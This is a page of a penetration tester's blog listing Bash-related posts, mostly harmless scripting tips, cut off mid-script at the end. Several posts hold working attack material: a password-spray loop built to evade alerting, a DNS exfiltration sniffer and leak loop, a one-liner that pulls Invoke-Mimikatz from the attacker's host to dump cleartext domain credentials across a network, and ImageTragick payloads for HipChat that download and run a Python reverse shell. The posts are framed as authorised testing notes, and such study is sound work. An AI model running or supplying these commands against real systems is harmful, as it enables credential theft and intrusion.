Showing posts with label Bash. Show all posts
Showing posts with label Bash. Show all posts

Friday, November 20, 2020

AWS EC2 & Quick FTP Server

 Sometimes you just need to transfer some files back and forth over FTP and want something quick and easy. There are a couple of caveats to getting a one-liner-ish FTP server running in AWS EC2 or lightsail:

  1. Additional ports must be opened. Lightsail by default opens 80 & 22. You'll have to also open 21 & 8000-9000 for the following to work. Or you know, open it all because yolo.
  2. File transfers must happen in FTP passive mode. This is the default mode of pftp and lftp on Kali. If you use the basic ftp binary, you have to issue the "passive" command after you connect.
Here are the commands to quick-start:

Tuesday, December 10, 2019

Round Robin SMB Auth

Password sprays are very noisy internally. If the target has any sort of alerting in place, they'll see the spray light up their dashboard like a christmas tree. However, often times the alerts are only set up to count failed logins from a single IP. Spread out the auth and you may skirt around their detections:

Instead of throwing your auth attempts at one IP, throw them at many:

username_file=/root/users.txt
targets_file=/root/windows-hosts.txt
how_deep_to_go=2000

for index in $(seq 1 ${how_deep_to_go}); do
    username=$(sed -n ${index}p ${username_file})
    target=$(sed -n ${index}p ${targets_file})
    echo "smbclient -U mydomainhere/${username}%Welcome1 -L //${target}"
    smbclient -U mydomainhere/${username}%Welcome1 -L //${target}
done | tee smb-round-robin.out

Tuesday, April 2, 2019

Google/AWS/Azure IP Ranges

Google Cloud, Amazon AWS, and Microsoft Azure publish their IP ranges for their cloud platforms.

Amazon:
https://ip-ranges.amazonaws.com/ip-ranges.json
one-liner:
     curl https://ip-ranges.amazonaws.com/ip-ranges.json | grep 'ip_prefix' | cut -d '"' -f 4

Microsoft Azure:
https://www.microsoft.com/en-gb/download/details.aspx?id=41653
one-liner:
     cat PublicIPs_20190401.xml | grep 'IpRange Subnet='| cut -d '"' -f2

Google Cloud:
DNS txt records for: _cloud-netblocks.googleusercontent.com
one-liner:
     for netblock in $(dig txt _cloud-netblocks.googleusercontent.com +short | tr " " "\n" | grep include | cut -f 2 -d :); do dig txt +short $netblock; done | tr " " "\n" | grep ip4: | cut -d ':' -f2

Wednesday, November 28, 2018

Keep Track Of Your Source IP

Pentesters/RedTeamers often need to track their outgoing IPs for Blue Teams to be able to correlate activity and know if an attack is shceduled activity or something else.

Below is a script that will reach out, grab your public IP, and if it's different from the last entry, enter it into a log file. I use crontab to execute it at the top of every minute.
#!/bin/bash
# This script records changes to your external IP to a log file with timestamp
# Install:
# crontab -e
# * * * * * /Users/MYUSERNAME/WHEREVER/iplog.sh
# And then change the iplogfileloc below to where you want the logfile to save.

# You should have an iplog.txt with contents like this:
# $ cat iplog.txt
# Wed Nov 28 12:56:40 MST 2018 -- 177.243.11.21
# Wed Nov 28 13:00:07 MST 2018 -- 17.18.24.6

# Change the below location to what you want
iplogfileloc="/Users/MYUSERORWHATEVERHERE/iplog.txt"

myip=$(curl httpbin.org/ip 2> /dev/null| grep origin | awk '{print $2}' | tr -d '"')

#create file if it doesnt exist
[ -f ${iplogfileloc} ] || touch ${iplogfileloc}

if ! cat ${iplogfileloc} | tail -1 | grep ${myip} > /dev/null ; then
    # if your IP has changed, add it to the file
    echo $(date) '--' ${myip} >> ${iplogfileloc}
fi

Now you can change IPs via VPN or whatever and always be able to refer to it later. The only edge case is if you change IPs multiple times within one minute, but that should be rare and accounted for in sprays.

Thursday, June 29, 2017

An Efficient Setup For Scripts/Git

I'm obsessed by organization. I'm pretty sure I was OCD in another life. It carries over to this life in small ways.

As a pentester, I have to deal with many different custom scripts I write, my coworkers write, that I get off Github. Remembering where scripts/tools are when you may only ever touch something very rarely can become very annoying to manage. I've come up with a system that works very well for me. Perhaps it will work for you as well.

~/projects/

  • My overall projects folder that contains both git repos as well as temporary project ideas that may turn into something later. Contains many different directories that are project or task focused. 
  • For example, ~/projects/python-code/ is where I store my one-off Python code snippets to experiment and remind myself of concepts.
  • This is also where I store project directories that don't have corresponding git repos. Zips, tars, etc from directly downloaded servers.

~/projects/git/

  • If it has a repo, this is where it's cloned. Whether it's personal git repo or other's repo, any and all git repos go here. This makes it easier to remember what I got from where, and run a quick git pull.
  • This is also where I initialize any repo I plan on adding to my github account

~/scripts/

  • These are almost all one-off scripts used for various tasks, or to glue some disparate tools together.
  • For example, it contains scripts that parse output from one tool and pass it to another. Nothing groundbreaking here, just saves time typing.
  • Most importantly, this directory is added to my path so every script/symlink can easily be accessed at the command line.
  • This is where I symlink all my git tools so I don't have to supply full paths to reach them

~/tmp/

  • Yes, it's a temp folder off my home directory, I know how weird that sounds.
  • It's specifically for files I need very temporarily but I don't want to lose them if my machine crashes. It's mostly used for debugging/troublshooting scripts or testing shell functionality.
  • I go through it about once a month and remove anything I can't remember.
This setup has served me very well. I'd say the biggest paradigm shift for myself was to get in the habit of symlinking certain git tools and project scripts in the ~/scripts directory which is in my path; the integration of repo -> my machine is seamless.

Caveat:
     If someone writes a shitty script that breaks if you call it from another directory then I just write a quick one-line script to call it instead of a simple symlink. Still, fairly seamless.

Bonus Tip:
     I also can't stress enough the benefits of backing up everything to a drive and then wiping out your box and starting from scratch. Yes it's annoying to reinstall so many applications, but things run smoother with fewer errors because many superfluous packages/configs are gone. You won't lose any files since you can just browse them from your backup drive.

Friday, February 3, 2017

Super Simple DNS Exfiltration

I needed to test if I got command execution on a target box. Pretty much every outbound port was blocked. Luckily, it's extremely rare for people to turn off outbound UDP port 53 so DNS queries can still make it through.

In order for you to get a basic DNS exfil setup to work you'll need a couple things:
  1. A VPS to sniff the DNS queries
  2. A domain to direct the DNS queries to
The first step is to configure an NS record for a subdomain of your main domain. I simply created an NS record for e.domain.tld (replace domain.tld with your domain) and pointed it to the IP address of VPS.

Now when someone requests somedata.e.domain.tld the UDP request packet will go to the VPS IP. Run tshark/tcpdump to grab the request and prove if you have command execution or not.

I partially wrote the following python script to just parse out the domain name being requested.

#!/usr/bin/env python2

from scapy.all import *
from scapy.layers.dns import DNSRR, DNS, DNSQR

def handlepkt(p):
  #thanks stackoverflow!
  if p.haslayer(DNS):
      if p.qdcount > 0 and isinstance(p.qd, DNSQR):
          name = p.qd.qname
      elif p.ancount > 0 and isinstance(p.an, DNSRR):
          name = p.an.rdata
      print name

sniff(iface=eth0, filter="udp and port 53", store=0,  prn=handlepkt)

Since your DNS settings are configured properly, just start the python sniffer and run something like

for i in *; do host $i.e.domain.tld; done

And watch the requests come in.

Friday, January 6, 2017

How to Encrypt/Decrypt Using An RSA Keypair In Ruby

Simple process:
require 'openssl'

#Import your private/public keypair into separate objects to play with
priv = OpenSSL::PKey::RSA.new(File.read('test1.priv'))
pub = OpenSSL::PKey::RSA.new(File.read('test1.pub'))

#Use your public key to encrypt some data
#Here, 3 means use no padding (I needed it for some testing)
#Here I used 56bit keys and no padding which is why my input plaintext must be 56bits (7 characters)
#If you want the default of PKCS#1 padding, just remove the '3' argument
crypted = pub.public_encrypt("123456\n", 3)

#Now decrypt using your private key object (must supply same padding as before, or leave off for default)
decrypted = priv.private_decrypt(crypted,3)

Above I created the .priv and .pub using the following openssl commands:

#I chose 56 bits for testing, if used in reality it should be much higher like 2048
openssl genrsa -out test1.priv 56

#Using your private key, create a public key
openssl rsa -in test1.priv -out test1.pub -outform PEM -pubout

Friday, July 22, 2016

My "secrets" to scripting more and feeling like I type less

Motivational Disclaimer: 
I'm not a programmer. I don't fully understand all the nitty gritty computer science concepts of different programming paradigms, or "patterns", or "best-practices". Everything I know is self taught. Everything I know I've learned through trial and error, googling, or some simple online tutorials. I'm sure if a programmer looked at what I produce they could find a thousand different things to do better or faster. To a certain degree, I care about that. I care about producing what others consider to be "good" code. I also know my limitations. "Learning" to code (or scripting, but I'll just say coding) is not something to do, and THEN start do it very well. Coding is ugly. Your baby, the thing you will be proud of, WILL be ugly. But fuck that, honestly, because you actually HAVE something. That's more than a large percentage of the population can claim.
PS. I word-battle sailors. Take care if you have "delicate sensibilities"
----------

So I'm not a programmer in the least sense. I have, however, recognized that I do try to write a lot of code. My code revolves around efficiency. I wish to reduce how much typing I do. If I can do that by typing a little more now, so I can save it later, than that's an awesome reason to write a script.

We all have an inferiority complex to some degree, and for the longest time I thought nothing I produced was worthy of another's eyes. But I realized something, people kept asking for my scripts. People kept using my dotfiles (mostly for the scripts). People kept making use of the things I was creating. That feeling is actually rather addicting. People now look at me and have said things like "wow, I wish I could script". Well I'm here to share with you some things I've learned throughout my journey, things I haven't seen anyone else suggest for newbies. This is intended for fairly technical people who understand basic things like what a variable or function is but just haven't made the plunge to actually get more into it (people who stop at hello world). This is not for people looking to get into programming/development as a job. This is for people who have peers that script and feel that its "something they should get better at" (e.g. lots of infosec people). So bite the pillow, this is going to be a wall of text.

1. Learn to recognize WHEN to write a script
     This is probably the most important skill to first get. You need to set what I call a "mental breakpoint" when you encounter certain thoughts or emotions. You need to catch yourself right when you think "God I wish I could do this faster" or "Ugh, I keep typing the same shit over and over again". Train yourself to break out of that moment and trigger a whole new line of thought of "Wait a second, how COULD I make this faster?" or "Could I create something to actually reduce how many times I do this?"

2. Understand how to convert the problem into a program
     I watched a free programming video recording from Stanford (the ones you get for free on iTunes) and while most of it was rather boring and my ADHD took over, there was one statement the teacher made that has stuck with me and I remember every time I start to write a script. "All programs do the exact same thing, they take input, they do something with it, and they produce output" - now that is an incredibly generic and abstract thought, yes, but it frames your goal in a particular way which (to me, at least) was ground breaking. I now ask myself these questions every time:

  1.  What will be the input to my program? will it be text from some other command? will it be text I scraped from a website somewhere? Will it be some arbitrary file? will it be XML? will it be an image? What will the INPUT be?
  2. What will I do to this input? What's the body of the script? Really, what is the point of what I'm doing? Is it to analyze that text input for repeating patterns? is it to constantly check that website for changes and updates to it's content? is it to encrypt a file in some way? is it to add a watermark to an image? What is the "goal" you are trying to accomplish?
  3. What will this produce? what is the end result? Will it "produce" something like a file? or will it update a SQL record somewhere? Will it send you a text message when it notices a change on that website? or will it trigger a whole other script all together? What is the thing you want to walk away with?

     These questions can take all of 4 seconds to answer in simple cases, and weeks in the complex ones. Sometimes the answers to these questions will be obvious in certain cases and you don't even really need to think about it, but mostly, I like to keep that framework of "INPUT, DO, OUTPUT" in my head mostly all the time.

3. Is writing this script worth it?
     In my moments of wonder I like to think that computers are capable of anything, that they can solve the world's problems and make our lives infinitely better in all the ways that matter. Unfortunately the skill of a computer is at least limited by the skill of the programmer.
     Many times I'll come across a problem I swear I can easily solve by scripting, but as time goes on I find that the actual problem I'm trying to solve is way out of my ability as a programmer. It would be impossible for me to tell you what you can and cant do, I can say however, that the more you code and the more efficient you get at it, the smaller that list of "cant's" gets. Ideally it would shrink to where you become a greybeard wizard or something but thats just the magical fairy land I keep my head in.
     The instances in which I had a problem to solve, but couldn't find the solution I simply file it away in it's own project directory as something to look at again in the future. Many time I'll come across a new tool/module/gem/whatever that does the thing that my script needed to begin with. Sometimes, someone else solves the problem that I had, but I try to not rely on that "oh maybe in the future" line of thinking.

4. You can't do this alone
     Think about it for a second, you are starting out in a hobby/profession where there are millions of experts. If you ever sit down in front of a terminal and think "shit, I don't know how to get these two servers to talk" or "shit, I don't know how to search an array for a string" and start to feel discouraged that you're dumb and you don't know how to do "simple" things, stop. If that happens to you, you cant stop that internal reaction, but you can instantly distract yourself by actually GOOGLING your problem.
     You will need to read the docs. Like, a lot of docs. You will Google A LOT. You will read MANY stack overflow posts. You will read many man pages. You will google your google results. You will read both awesome and shitty blog articles. There will be a lot of "copy and paste that stack overflow post and change it to fit your needs". This is normal. This is OK. You are not awful because of this. You may be awful for other completely unrelated reasons, but not for this.
     Github is your friend. Read other people's code. Steal their code if it works. Just don't claim that you made that stolen code yourself, that's a dick move. There are enough self-entitled dicks who want to drama-llama everything so they get attention. Don't be a dick. Break the cycle, Morty, rise above, focus on science.
     Ideally, you'd have a friend or coworker who is willing to provide advice, or at least valuable links to websites that provide valuable advice. If you have that kind of friend than I VERY STRONGLY suggest you do the following:

  1. Roughly understand the problem you are trying to solve
  2. Do some basic work on trying to find a way to solve it
  3. Ask specific questions, but give context. Don't ask them "how can you delete every third entry in an array" ask instead "How can you delete every third entry in an array? Apparently garbage data keeps coming into every third entry that I store into an array". They may respond with "like this" or they may go on to tell you how it's a good idea to deal with the garbage data on input before the array and maybe log it properly in case you have problems later.
  4. Show your friend that you respect their time by illustrating that you've done some research beforehand. It's incredibly aggravating to get asked a question that the first google result answers.


5. Stop practicing and start doing
If I see another "hello world" script I'm going to punch a baby. Stop copying stupid scripts that don't actually DO anything. You know what a variable is, you know what a function is. Going through the 4th online tutorial that teaches you how to write yet another 1+1 python function isn't helping you. It's the equivalent of tracing an image on paper so you can FEEL like you are an artist. You already know the absolute basics (if you don't, then those tutorials are helpful). Identify a problem you have (using step 1) and start solving it (by using steps 2 & 4).
     It's going to suck. Your code is going to suck. You will be embarrassed of your ugly child.  But, if your child functions, then keep it. Improve on it if you have the time and energy or save the improvements for a later date.
     I recommend jumping into the "hard stuff" even if you're still at the "easy stuff", you will learn A LOT faster that way.

6. OK, actually you need to practice too
     I "practice" code all the time, often times before I actually do anything and sometimes just for fun. What I mean by that is I usually start up a Ruby or Python interpreter and start pasting in some code, changing random sections of code or variables, googling errors that result, trying out other's code from Github or StackOverflow.
     A perfect example is that I thought to myself a couple years ago "I read about XMLRPC, I wonder how I can actually make it do something in Ruby" so I found a free XMLRPC endpoint for testing on the Internet, fired up my Ruby interpreter and just starting pasting code I saw listed in the basic documentation. I saw how it made a connection, the syntax it expected, how to issue the XMLRPC method calls, how to play with the results and so on and so forth. I wiped my screen, and tried to do all that again from scratch with no pasting. I had no use for it, it was just for fun. One year later I needed to get a value from an XMLRPC endpoint and I thought to myself "Hey, I played with XMLRPC on Ruby a while ago, I'm pretty sure I can get this up and working".
     Bam, because of that "for fun" practice I did, I was much faster and more efficient at accomplishing that goal at the moment I needed it. I try to find ways to play with code for fun as often as I can.

7. Perfect does not exist
Nothing is perfect, your code definitely won't be. An old manager told me it takes 90% of the total time to accomplish the last 1% if you aim for perfection. I now aim for "get it working and mostly reliable". I don't create scripts that require 100% reliability, or that someone paid millions of dollars for. I write scripts mostly for myself, to save myself time. My "extra" aim is to write the same script so that my friends/coworkers can use it easily, that is, if I think they will benefit from it in the first place.
     I can say however, that as I have aimed for writing more well-documented and more reliable scripts, it has become easier to do so by default. This practice of aiming for your peers (once you can write for yourself) creates a habit of accounting for things you may not have thought of (bad input, not enough comments, bad parameter descriptions, overall ease of use, etc), which overall results in "better" scripts as I go on.

8. Don't stop
     You WILL forget the language if you don't keep it up. I'd say at the absolute least you should be reading code once a week and writing something once a month. That's absolute minimum. Please don't aim for the minimum, mediocrity doesn't look good on you.

9. You're a wizard, Harry
     Coding (IMO) is the closest humans can get to magic. This shit feels like magic most of the time. You just created a python script that can track peoples movements from a video feed? Holy shit are you a wizard? In order to feel like a wizard, you have to feel like your doing magic. Don't lose the wonder and amazement in training your abilities. You know that everything you can do isn't magic, you know how to perform edge detection and draw a certain pixel size box that colored red around that thing, and you know what functions to use to detect it's movement, but don't lose the feeling.
     We are motivated by desires and emotions. Train yourself to hold on those, to remember those, to remember why they got triggered in the first place. Often I have to remind myself to sit back at the end of something and think "yeah, I just did that, and it was awesome for me...I wonder what I could do next"
     So you may be year 1 Harry Potter, but you got a lot of learning and awesomeness ahead of you. Go be a fucking wizard.

So seriously, ingrain step 1 in your head, and go from there.

Wednesday, June 29, 2016

Mimikatz All The Things

A while back I was onsite doing another easy-mode pentest that had local admin shared EVERYWHERE (come on guys) when the client walked in and bet me lunch that I couldn't get his password in the next 45 minutes. I don't know if he was doing it as a joke being as how he already knew I had local admin, or if he was genuinely in need of an illustration at just how quickly things can go bad. Either way, I had his permission to watch the world burn.

It was primarily a Windows network, with Server 2008 and Windows 7/8 for most the workstations. I tested the workstation in the conference room to determine they had Powershell, and knew I was in business.

PowerSploit includes a Powershell port of mimikatz which can pull cleartext wdigest creds stored in LSASS. There is a ton of literature as to how mimikatz does its magic online if you want to know more. Normally, I would conduct this kind of testing in a low and slow method, trying to evade detection but what the hell.

To start, I setup a web listener in the PowerSploit/Exfiltration directory:
cd ~/Tools/PowerSploit/Exfiltration; ruby -run -e httpd . -p 8080

I then threw the following one-liner together while the client counted down the minutes as they passed, let it smash against his entire network, and LOLed ~15 minutes later when I explained adequate password selection to his bewildered face.
sort -R targets.txt | parallel -P10 --timeout 60 --tag -q winexe --system --uninstall -U 'DOMAIN/USERNAME%PASSWORD' //{} "powershell \"IEX (New-Object Net.WebClient).DownloadString('http://<MY_IP>:8080/Invoke-Mimikatz.ps1'); Invoke-Mimikatz -DumpCreds\"" 2>; parallel.error | tee -a mimikatz_all_the_things.txt

So what is it doing? Let's break it down.

sort -R targets | #randomize the targets and pass them in
parallel -P10     #kick off parallel with 10 jobslots
--timeout 60      #kill each job if it exceeds 60 seconds
--tag             #tag each line of output, not really necessary but why not
-q winexe         #quote the following command and args
--system          #run winexe service as NT AUTH\SYSTEM
--uninstall       #uninstall the service when finished
-U 'CREDS'        #pass the login creds to winexe
//{}              #the magic; where parallel will substitute in the input 

Following that is a long block of Powershell, but it is fairly straightforward:
"powershell \"IEX (New-Object Net.WebClient).DownloadString('http://<MY_IP>:8080/Invoke-Mimikatz.ps1'); Invoke-Mimikatz -DumpCreds\""

The Powershell Invoke-Expression cmdlet downloads the Invoke-Mimikatz.ps1 Powershell script from our web listener, then passes the 'Invoke-Mimikatz -DumpCreds' argument to it.

Lastly, the we pass errors to a file we call 'parallel.error', or output is ran though tee to display on screen and also append the 'mimikatz_all_the_things.txt' file:
2>; parallel.error | tee -a mimikatz_all_the_things.txt

It's pretty easy to grep out the user I was looking for, but just to help illustrate I ran the output though a parsing script that I found somewhere online(sorry for lack of attribution random Internet saint):
cat mimikatz_all_the_things.txt|tr -d '\011\015' |awk '/Username/ { user=$0; getline; domain=$0; getline; print user " " domain " " $0}'|grep -v "* LM\|* NTLM\|Microsoft_OC1\|* Password : (null)"|awk '{if (length($12)>2) print $8 "\\" $4 ":" $12}'|sort -u

Which parses through the whole mimikatz output and outputs a super disturbingly beautiful listing of users and cleartext creds:
CLIENTS_DOMAIN\user01:password01
CLIENTS_DOMAIN\user02:password02
CLIENTS_DOMAIN\user03:password03
CLIENTS_DOMAIN\user04:password04
CLIENTS_DOMAIN\user05:password05
.
.

Bingo bango. Free lunch. Pretty tasty pizza I might add. Thanks for motivating me, Mr. Client.

Tuesday, May 17, 2016

Exploiting HipChat with ImageTragick

Hipchat uses the Imagemagick library to resize your custom emoticons. If you have access to upload your own emoticon image files to the server using the web interface (or API probably), you can use the Imagetragick vulnerability to get shell on the machine.

It turns out the ImageTragick's PoC didn't work on our server:
push graphic-context
viewbox 0 0 640 480
fill 'url(https://example.com/image.jpg";|ls "-la)'
pop graphic-context

After quite a bit of mangling and testing, the following file contents, renamed to a .gif (HipChat doesn't accept .mvg files), will work:
push graphic-context
viewbox 0 0 640 480
fill 'url(https://example.com/image.jpg";curl testserver:8000/test4")'
pop graphic-context

I could see the request for "test4" in my testserver's logs. woot. This means we have remote command execution on the server. Now all we have to do is get shell.

Now since I didn't have time to figure out how to make it a leet one-liner, I decided to break shell access into two requests. The first pulls the shell script to /tmp/ and the second executes the file.

The reverse shell I used was:
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
I simply pasted that into a .sh on my testserver so the victim HipChat server could pull it down

I listened on my remote box with a basic ncat listener:
ncat -l -v 1234

Then I created the two separate exploit .gif files. The first .gif runs curl to download the python shell:
push graphic-context
viewbox 0 0 640 480
fill 'url(https://example.com/image.jpg";curl testserver:8000/python_shell.sh -o /tmp/python_shell.sh")'
pop graphic-context

The second .gif executes the python shell:
push graphic-context
viewbox 0 0 640 480
fill 'url(https://example.com/image.jpg";bash /tmp/python_shell.sh")'
pop graphic-context

(now that I think about it, you might be able to combine both files into one to only have to upload once, but I haven't tested that)

Once you upload that second gif, about a second or two later, you should see your shell come through on your ncat 1234 port:
$ uname -a
Linux hipchat.blah.com 3.4.0-54-generic #81~precise1-Ubuntu SMP Tue Jul 15 04:02:22 UTC 2014 x86_64 x86_64 x86_64 GNU/Linux
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

So ImageTragick is kind of a big deal in that it's stupid easy to exploit (at least in this case) and it's a fairly reliable command injection vuln.

Thursday, May 12, 2016

Using Parallel Instead of For Loops

For loops are an addiction of mine, I use them all day every day. Any time you have a tool that does one thing well but doesn't support multiple inputs or inputs from a file, I use a bash for loop. Unfortunately for loops work sequentially, one after the other. Once process runs, finishes, exits, and the next process starts, finishes, exits and so on.

Many times I've come across a tool or process that just hangs, and as a result hangs all the later processes as well. In situations where I think that is likely to happen, I'll use parallel.

Ok, so lets make a for loop that resolves the MX records of google.com

for i in $(host google.com | grep 'mail is' | cut -d ' ' -f7); do printf $i:; host $i | grep 'has address' | cut -d ' ' -f4; done
alt1.aspmx.l.google.com.:74.125.192.27
alt2.aspmx.l.google.com.:74.125.141.27
aspmx.l.google.com.:209.85.147.26
alt4.aspmx.l.google.com.:209.85.203.26
alt3.aspmx.l.google.com.:64.233.190.27

Great, nothing fancy there. Now lets say for some reason one iteration of that for loop is hanging and lets pretend we are using a tool (not "host") that has ridiculous timeouts (e.g. nikto on default), wouldn't it be great to run several all at the same time in groups and as one finishes it's spot in the group the next iteration populates it's place? yeah, thats what parallel does. Let's change that for loop to use parallel instead:

host google.com | grep 'mail is' | cut -d ' ' -f7 | parallel -j 5 -I{} -r "printf {}:; host {} | grep 'has address' | cut -d ' ' -f4"
alt2.aspmx.l.google.com.:209.85.202.27
alt3.aspmx.l.google.com.:108.177.15.27
aspmx.l.google.com.:209.85.201.27
alt4.aspmx.l.google.com.:74.125.136.27
alt1.aspmx.l.google.com.:173.194.68.27

This shows you how to send piped bash commands to parallel, instead of just single processes. In this way, it functions very similarly to the classic "while read line" looping structure.

BONUS:
The same command using xargs (very similar, works on OSX & nix):
host google.com | grep 'mail is' | cut -d ' ' -f7 | xargs -I {} sh -c "printf {}:; host {} | grep 'has address' | cut -d ' ' -f4"
aspmx.l.google.com.:209.85.232.27
alt3.aspmx.l.google.com.:64.233.167.27
alt2.aspmx.l.google.com.:74.125.24.27
alt1.aspmx.l.google.com.:64.233.186.27
alt4.aspmx.l.google.com.:74.125.136.26

Thursday, March 24, 2016

Hackers and Programming Languages


  The following is a list of very common programming languages and why a Pentester/Hacker should be at the very least familiar with them:


  •  Bash - Using linux, I'd wager the most important language to be proficient in. 
  •  Ruby - Many security tools are written in Ruby, extending metasploit, exploit dev, understanding/exploiting Rails vulns. Overall a very enjoyable language to program in.
  •   Python - Many security tools are written in python, extending veil/impacket, exploit dev, lots of RE/Forensics tools are written in python, huge and active community to build upon.
  •   C++ - Custom windows malware writing, gives you more direct access to the windows API
  •   PHP - crap ton of webapps/professional appliances/general web stuff is written in PHP
  •   Javascript - XSS/CSRF, NodeJS, super crazy fancy looking tools
  •   Java - Almost every single organization runs java somewhere. Java web apps, apache tomcat, Weblogic, any java app server, java RPC protocols. LOTS of vulnerabilities introduced because of java apps.
  •   C - Custom malware writing (in general), several security tools written in C, driver/kernel hacking
  •   Perl - Make yourself seem way older than you actually are. haha, jk. no really you don't need to learn perl.


  Other programming like things:

  •   Object Oriented Programming - Important for source code analysis and writing more powerful tools
  •   Programming Patterns - Certain programming patterns are not intuitive at all. Important to know when you are debugging other's code or doing source code analysis.
  •   HTML - Any place you'd have HTML injection or trying to get custom XSS/ or other browser centric vulns to pop
  •   XML - data storage, API data transfer format, SOAP, XXE injection
  •   JSON - Other than XML, most often used API format
  •   SQL - SQLi, intercepting SQL traffic


This list is by no means exhaustive or comprehensive, it's just typically the languages you'd most often encounter on pentests, exploit dev, or reverse engineering. If you can think of other uses for the languages or another language I missed, let me know.

Thursday, March 3, 2016

Pipe Bash Commands Straight into Ruby One-Liners

I use bash every day of my life, which means I have a fondness for one-liners. The ability to smash complex commands as a series of pipes provides a type of satisfaction and pride not often found elsewhere. Unfortunately, not everything you want to do can be accomplished using Bash builtins or common CLI programs typically installed. Instead of hunting down the "proper" way to do it, you can hack something together like I prefer to do.

Let's say I know I want to do something, but I can'd find a reliable predictable way to do with with bash utilities. I happen to also know some ruby code that would do exactly what I want. I could write a ruby script to read in from a file and process and then output, but thats a lot of hassle for a task so small. Luckily, ruby makes it very easy for us to easily pipe text into the ruby interpreter and provide ruby code to do whatever we want with that input.

For example:
$ echo "proper name" | ruby -ne 'puts $_.capitalize'
Proper name

Or a bit convoluted with bash for loops:
$ for i in bob bill joe sam; do ruby -e "puts \"$i\".capitalize"; done
Bob
Bill
Joe
Sam

The -n argument:
     -n             Causes Ruby to assume the following loop around your script, which makes it iterate over file name arguments somewhat like sed -n
                    or awk.

                          while gets
                            ...
                          end

The -e argument:
     -e command     Specifies script from command-line while telling Ruby not to search the rest of the arguments for a script file name.

Which is a little confusing but basically means "run ruby code provided as argument"
Thats nice, but what if I need to use a method provided by a gem thats not included in the standard ruby library? as easy as:
$ cat > names.txt
bob
sally
sam
joe
jack

$ cat names.txt | ruby -r 'rbkb' -ne 'puts $_.capitalize.b64'
Qm9iCg==
U2FsbHkK
U2FtCg==
Sm9lCg==
SmFjawo=

The -r argument:
     -r library     Causes Ruby to load the library using require.  It is useful when using -n or -p.

Lastly, the -p argument can be of some use as well:
     -p             Acts mostly same as -n switch, but print the value of variable $_ at the each end of the loop.  For example:

                          % echo matz | ruby -p -e '$_.tr! "a-z", "A-Z"'
                          MATZ

Another example:
$ cat names.txt | ruby -r 'rbkb' -n -e 'i = $_.chomp; puts i + " in base64 is: " + i.b64'
bob in base64 is: Ym9i
sally in base64 is: c2FsbHk=
sam in base64 is: c2Ft
joe in base64 is: am9l
jack in base64 is: amFjaw==

You can use -p instead of -n with a puts but things can get weird (does print at end of loop instead of puts):
$ cat names.txt | ruby -r 'rbkb' -p -e '$_ = $_.capitalize.b64'
Qm9iCg==U2FsbHkKU2FtCg==Sm9lCg==SmFjawo=

You can even technically paste in scripts and have them run:
cat names.txt | ruby -r 'rbkb' -ne '
> input = $_.chomp
> puts "The current input being processed is: \"#{input}\""
> puts "The current time is: #{Time.now}"
> puts "The Base64 encoded value of #{input} is #{input.b64}"
> '
The current input being processed is: "bob"
The current time is: 2016-03-03 12:15:10 -0600
The Base64 encoded value of bob is Ym9i
The current input being processed is: "sally"
The current time is: 2016-03-03 12:15:10 -0600
The Base64 encoded value of sally is c2FsbHk=
The current input being processed is: "sam"
The current time is: 2016-03-03 12:15:10 -0600
The Base64 encoded value of sam is c2Ft
The current input being processed is: "joe"
The current time is: 2016-03-03 12:15:10 -0600
The Base64 encoded value of joe is am9l
The current input being processed is: "jack"
The current time is: 2016-03-03 12:15:10 -0600
The Base64 encoded value of jack is amFjaw==

Just be careful with escaping your quotes:
$ cat names.txt | ruby -r 'rbkb' -ne '
> puts $_.chomp + 'asdf'
> '
-e:2:in `<main>': undefined local variable or method `asdf' for main:Object (NameError)

Even if you try to escape the single quotes (Bash doesnt read it the way you think it should):
$ cat names.txt | ruby -ne '
> puts $_.chomp + \'asdf\'
-e:2: syntax error, unexpected $undefined
puts $_.chomp + \asdf'
                 ^
-e:2: unterminated string meets end of file

$ echo '\''
>

You'd have to use the Bash syntax ANSI strings (note the $ before the opening single quote):
$ cat names.txt | ruby -ne $'
> puts $_.chomp + \'asdf\'
> '
bobasdf
sallyasdf
samasdf
joeasdf
jackasdf

Lot's of caveats and gotcha's to consider, know, and think about. Remember, pipe to ruby when it's simple and convenient. If you start getting too complicated with multiple lines and quote escapes, just put it in a file and run that instead.

Thursday, January 28, 2016

Disable CMD/Windows Key in Kali From Opening Activities Overview

I cmd+tab between apps all the time. With the release of Kali 2, it has this very annoying "feature" of zooming out all my app windows when I hit the cmd key.

Turns out the fix is very simple:

gsettings set org.gnome.mutter overlay-key ''
Once you run that in a terminal, magically the cmd key stops bringing up the windows.

yay for simple solutions.

Friday, February 14, 2014

Cool Bash Trick: Constantly updating a "status" line in bash script

Lots of times i'm dealing with repetitius data and i dont like that it can take up so much of my screen when i'm really only outputting something like "Portion 3 is done" and the only thing that updates is the number.

It's annoying to have a screen full of:
Portion 1 is done
Portion 2 is done
Portion 3 is done
Portion 4 is done
...


I'd like it if only one line is used to tell me the current done portion. Well, it turns out there is a way to do this with bash scripts.

It turns out there is "\r" which means carriage return. So if you output a carriage return WITHOUT a newline then you essentially clear that line of text.

A simple double for loop to visually see what i'm talking about:
for j in $(seq 1 10); do 
  for i in $(seq 1 20); do 
    printf "$i is part of $j \r"
    sleep .1
  done 
done

Thursday, August 15, 2013

echo colored text in bash

Lots of tutorials tell you to use the "echo -e [blahblah" ANSI escape sequences to generate the colors for output. First of all those are practically impossible to read easily, they look like magic, and its a bitch to try to find a typo.

tput was created a while ago to remedy those issues. I've created a function/script that can be included in other scripts to easily generate colors.
#!/bin/bash
echo_color() {
 case ${1} in
 black)
  shift 1
  #echo $(COLOR)${user-supplied-text}$(NORMAL-COLOR)
  echo $(tput setaf 0)${*}$(tput sgr0)
  ;;
 red)
  shift 1
  echo $(tput setaf 1)${*}$(tput sgr0)
  ;;
 green)
  shift 1
  echo $(tput setaf 2)${*}$(tput sgr0)
  ;;
 yellow)
  shift 1
  echo $(tput setaf 3)${*}$(tput sgr0)
  ;;
 blue)
  shift 1
  echo $(tput setaf 1)${*}$(tput sgr0)
  ;;
 cyan)
  shift 1
  echo $(tput setaf 6)${*}$(tput sgr0)
  ;;
 magenta)
  shift 1
  echo $(tput setaf 5)${*}$(tput sgr0)
  ;;
 white)
  shift 1
  echo $(tput setaf 7)${*}$(tput sgr0)
  ;;
 underline)
  #yes i know its not a color, its still usefull though.
  shift 1
